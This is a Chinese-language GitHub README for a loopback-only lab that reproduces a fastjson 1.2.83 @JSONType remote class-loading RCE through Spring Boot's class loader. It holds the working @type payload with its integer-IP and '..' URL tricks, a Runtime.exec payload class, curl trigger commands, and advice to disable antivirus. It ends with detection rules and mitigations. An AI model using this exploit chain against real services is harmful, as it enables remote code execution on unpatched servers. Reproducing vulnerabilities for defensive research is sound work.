rockmelodies/Fastjson-JsonType-RCE-Demo
GitHub: rockmelodies/Fastjson-JsonType-RCE-Demo
这是一个用于在本地复现和演示 fastjson `@JSONType` 远程代码执行(RCE)漏洞的实验环境及 PoC。
Stars: 0 | Forks: 11
# fastjson `@JSONType` jar: URL RCE — 本地实验环境
这是一个独立且仅限本地回环的复现环境,用于演示 fastjson
`ParserConfig.checkAutoType` 中 `@JSONType` 探测漏洞,该漏洞可通过 Spring Boot 的
`LaunchedURLClassLoader` 将精心构造的 `@type` 值转化为远程类加载。
已在 JDK 8 环境下使用 `cmd.exe /c calc` payload 进行了端到端验证(计算器窗口会从 vuln-app JVM 中弹出)。
## 概述
```
# Terminal 1 — 启动易受攻击的目标
cd vuln-app
export JDK8=/e/software/jdk/jdk1.8.0_431
JAVA_HOME=$JDK8 PATH=$JDK8/bin:$PATH /e/software/maven/apache-maven-3.9.2/bin/mvn clean package -DskipTests
$JDK8/bin/java.exe -jar target/fastjson-jsontype-vuln-app.jar
# Terminal 2 — 运行 PoC
cd poc
./run-poc.sh
# → 几秒钟内 calc 会在 vuln-app 主机上弹出(RCE 证明)
```
如果你的 Windows Defender 处于开启状态,它会将 `evil.jar` 隔离(因为它匹配到了
`Runtime.exec` payload 的特征)。请将此实验目录添加到 Defender 的排除列表中,或者在测试期间
暂时关闭实时保护。
## 本实验包含的内容
```
fastjson-jsontype-lab/
├── README.md (this file)
├── vuln-app/ Spring Boot 2.7.18 + fastjson 1.2.83 FatJar target
│ ├── pom.xml
│ └── src/main/
│ ├── java/com/lab/vuln/
│ │ ├── VulnApplication.java
│ │ ├── LaunchedClassLoaderInitializer.java ← the trigger wiring
│ │ ├── ParseController.java (/info /parse /parse-async /check)
│ │ └── AsyncParser.java (worker thread, RCE lane)
│ └── resources/application.properties (127.0.0.1:8081)
└── poc/
├── GenPayload.java ASM generator: jar:URL-named class + calc
├── payload.json the @type payload (uses integer IP 2130706433)
├── build-malicious-jar.sh compiles Gen + generates evil.jar via java.util.zip
├── serve-jar.sh serves /evil -> evil.jar on 127.0.0.1:18080
└── run-poc.sh one-shot driver (build → serve → exploit → report)
```
## 漏洞利用原理
### Payload
```
{"@type":"jar:http:..2130706433:18080.evil!.Exploit","x":1}
```
有两个不太直观的细节:
- **`2130706433`** 是以单个十进制整数形式表示的 `127.0.0.1`。点分形式 `127.0.0.1` 是**无效**的
——请参阅下文的“为何使用整数 IP”。
- **`..`** 是将看似类名的字符串重新构造为 URL 的关键技巧。fastjson 的 `@JSONType` 探测会执行
`typeName.replace('.', '/') + ".class"`,从而将 `..` 转换为 `//`:
jar:http:..2130706433:18080.evil!.Exploit
-> jar:http://2130706433:18080/evil!/Exploit.class
### 探测机制
`ParserConfig.checkAutoType` 会运行一个 `@JSONType` “探测”路径,即使在全球禁用 AutoType 的
情况下该路径依然可达(此探测是一个信任通道)。该探测会如上所述重组资源名称,并向配置的
`defaultClassLoader` 请求将其作为流获取:
```
String resource = typeName.replace('.', '/') + ".class";
InputStream is = defaultClassLoader.getResourceAsStream(resource);
// then: ClassReader -> TypeCollector.hasJsonType()
// then: TypeUtils.loadClass(typeName, defaultClassLoader, true)
```
当 `defaultClassLoader` 是 Spring Boot 的 `LaunchedURLClassLoader` 时,
`getResourceAsStream` 实际上会将 `jar:http://...!/...class` 视为真实的嵌套 jar URL,并**发起一个 HTTP GET** 请求来获取它。
### 触发机制(`LaunchedClassLoaderInitializer`)
仅仅在“Spring Boot FatJar 内部运行”的普通设置本身是**不够**的。
探测使用的是 `ParserConfig.defaultClassLoader`,默认情况下,它是调用 `JSON.parse` 的任何线程的
上下文类加载器——而在 Tomcat 请求线程上,这并不是正确的加载器。上游研究的测试工具
(原始 PoC 仓库中的 Test2)通过显式执行以下操作使这条利用链生效:
1. 构造一个 URL 数组指向 FatJar 的 `LaunchedURLClassLoader`
(`LaunchedClassLoaderInitializer` 通过反射实现此操作)。
2. 调用 `ParserConfig.getGlobalInstance().setDefaultClassLoader(thatLoader)`。
这模拟了真实的触发条件(应用程序使用支持 jar-URL 的加载器调用
`setDefaultClassLoader`),并且正是这使得探测能够实际获取并 `defineClass` 远程类。
### 恶意类
`GenPayload.java` 使用 ASM 生成一个字节码内部名称精确为
`jar:http://2130706433:18080/evil!/Exploit` 的类(这无法通过 Java 源代码编写),并使用运行时可见的 `@JSONType` 进行修饰。它的 ``:
```
System.out.println("REMOTE RCE EXECUTED (cmd launched from remote class)");
Runtime.getRuntime().exec("cmd.exe /c calc");
```
当 fastjson 对获取到的字节执行 `defineClass` 并初始化该类时,
`` 会在 vuln-app JVM 内部运行 -> 从而弹出计算器。
## 为何使用整数 IP
fastjson 的探测会执行 `typeName.replace('.', '/')`。像 `127.0.0.1` 这样的点分 IP 会变成
`127/0/0/1`,这会破坏 URL 主机并使得重组后的资源名称无法解析——探测会返回 null,
并且 `checkAutoType` 会直接落入拒绝哈希门控,抛出
`autoType is not support`。整数形式 `2130706433` 没有点号,能够在替换后保留下来,
并在 HTTP 层解析为回环地址。
这也是为什么 README 的防御指南建议对 `@type` 值中的整数形式 IP 字面量进行告警的原因。
## 为何存在两个端点
| 端点 | 线程 | 行为 |
| --- | --- | --- |
| `POST /parse` | Tomcat 请求线程 | 探测依然会运行(它使用的是 `defaultClassLoader`,而不是该线程的 TCCL),因此 jar 文件会被获取——但在此线程上,类定义阶段通常无法完成。可用来演示 SSRF 部分。 |
| `POST /parse-async` | 启动时创建的工作线程 | 完整的 RCE——类被成功定义且 `` 运行,计算器弹出。 |
| `POST /check` | (任意) | 绕过 JSON 解析器并直接使用原始类型名称调用 `checkAutoType`。这是最简洁的单一探测演示。 |
| `GET /info` | (任意) | 诊断信息:thread, TCCL, `parserConfigClassLoader`, `parserConfigDefaultClassLoader`, `autoTypeSupport`。 |
## 为何使用 JDK 8
JDK 9+ 收紧了 `defineClass` 的类名验证,并拒绝接受
`jar:http://…!/Exploit` 这样的内部名称,因此利用链会在 SSRF 步骤停止。
JDK 8 的验证器接受这些字节——这正是 RCE 阶段能够成功的原因。
## 前置条件
- **JDK 8**。本实验假定路径为 `/e/software/jdk/jdk1.8.0_431`;可以通过
`JDK8` 环境变量覆盖。
- **Maven**。本机路径为:`/e/software/maven/apache-maven-3.9.2/bin/mvn`。
- **curl**、**python**(需要 3.7+ 以支持 `http.server --directory`)、**bash**。
- 如果你希望看到默认的 `cmd.exe /c calc` payload 的
弹出效果,则需要 **Windows** 主机。对于其他操作系统,请在运行 GenPayload 时传入 `-Dpoc.cmd=...` 并
重新构建 evil.jar。
- 如果你的防病毒软件对 `Runtime.exec` payload 进行了特征匹配(Windows Defender 就会这么做),请为本实验目录添加**防病毒例外**。
## 手动操作步骤
```
cd poc
./build-malicious-jar.sh
./serve-jar.sh & # background; serves 127.0.0.1:18080/evil
SERVE_PID=$!
# SSRF 演示路径(会获取 jar,这里通常不会定义 class):
curl -X POST http://127.0.0.1:8081/parse \
-H 'Content-Type: application/json' \
-d @payload.json
# 完全 RCE 路径(calc 应该会在 vuln-app 主机上弹出):
curl -X POST http://127.0.0.1:8081/parse-async \
-H 'Content-Type: application/json' \
-d @payload.json
# 直接 checkAutoType 演示:
curl -X POST http://127.0.0.1:8081/check \
-H 'Content-Type: text/plain' \
-d 'jar:http:..2130706433:18080.evil!.Exploit'
kill $SERVE_PID
```
请求 `/parse-async` 成功的标志:
- curl 响应体包含
`"resultClass":"jar:http:..2130706433:18080.evil!.Exploit"` —— fastjson
已将请求反序列化为远程类的实例。
- jar 服务器日志显示有两行 `GET /evil` 记录(一次用于探测的
`getResourceAsStream`,另一次用于随后的 `loadClass`)。
- vuln-app 控制台输出 `REMOTE RCE EXECUTED` 日志。
- 在 vuln-app 主机上有一个 `CalculatorApp` 进程正在运行,该进程是在
POST 请求发出时启动的。
## 检查构造的类
```
$JDK8/bin/javap.exe -v -p poc/build/Exploit.class | head -30
# this_class 应该显示为:"jar:http://2130706433:18080/evil!/Exploit"
```
(存放在 `build/` 而不是 `crafted/` 是因为 `GenPayload` 直接通过 `java.util.zip` 写入 jar 文件,绕过了外部的 `jar` 工具——某些防病毒软件会拦截在生成和打包之间对构造的 `.class` 文件的读取操作。)
## 防御指南
1. 启用 fastjson SafeMode:`-Dfastjson.parser.safeMode=true`。
2. 迁移至 **fastjson2**,并从不受信任的 JSON 路径中移除 fastjson 1.x。
3. 尽可能在 **JDK 9+** 上运行——这会阻断类定义阶段(SSRF
仍需单独缓解)。
4. 实施严格的出站流量限制,以防应用程序运行时获取任意的 HTTP 资源。
5. 对包含 `jar:`、`!`、`..` URL 重组
模式或整数形式 IP 字面量(例如 `2130706433`)的 `@type` 值进行告警。
6. 审计 `ParserConfig.setDefaultClassLoader(...)` 调用点——避免使用会将攻击者控制的资源名称解释为 URL 的类加载器。
## 故障排除
- **PoC 提示目标无响应**:请先启动 `vuln-app`(终端 1)。
- **出现 `autoType is not support` 错误,计算器未弹出**:你极有可能在 payload/内部名称中使用了
点分 IP(`127.0.0.1`)。探测的
`replace('.','/')` 会破坏它。请使用整数形式 `2130706433`。
- **evil.jar 为空 / 被防病毒软件隔离**:`Runtime.exec` 字节码被
特征匹配。请将此实验目录添加到防病毒排除列表中,或者
暂时禁用实时保护,然后重新运行
`build-malicious-jar.sh`。
- **`/parse` 获取了 jar 但计算器未弹出**:这在请求
线程上是预期行为。请使用 `/parse-async` 进行完整的 RCE 演示。
- **在非 Windows 主机上计算器未弹出**:请使用
其他命令重新生成类,例如
`java -Dpoc.cmd="touch /tmp/RCE_PROOF" GenPayload ...`,并重新构建 evil.jar。
- **`serve-jar.sh` 报错 "address already in use"**:之前运行的进程仍
绑定在 :18080 端口。请将其 `kill` 掉或更改 `POC_PORT`(并更新
`payload.json` 和 `GenPayload` 的内部名称以保持一致)。
## 参考资料
- fastjson `ParserConfig.checkAutoType`,发生
`typeName.replace('.', '/')` 重组的 `@JSONType` 探测代码块。
- Spring Boot `org.springframework.boot.loader.jar.Handler#parseURL`,在此处
嵌套 jar URL 的处理方式与普通的 JDK classpath 路径不同。
- 在 fastjson 1.2.66 中引入并一直存在至
1.2.83 的 `@JSONType` 探测行为。
- 原始研究工具:
(本实验的 `LaunchedClassLoaderInitializer` 模拟了其中的 `Test2.java`)。
标签:Fastjson, JS文件枚举, Spring Boot, 域名枚举, 应用安全, 漏洞复现环境, 漏洞验证代码, 逆向工具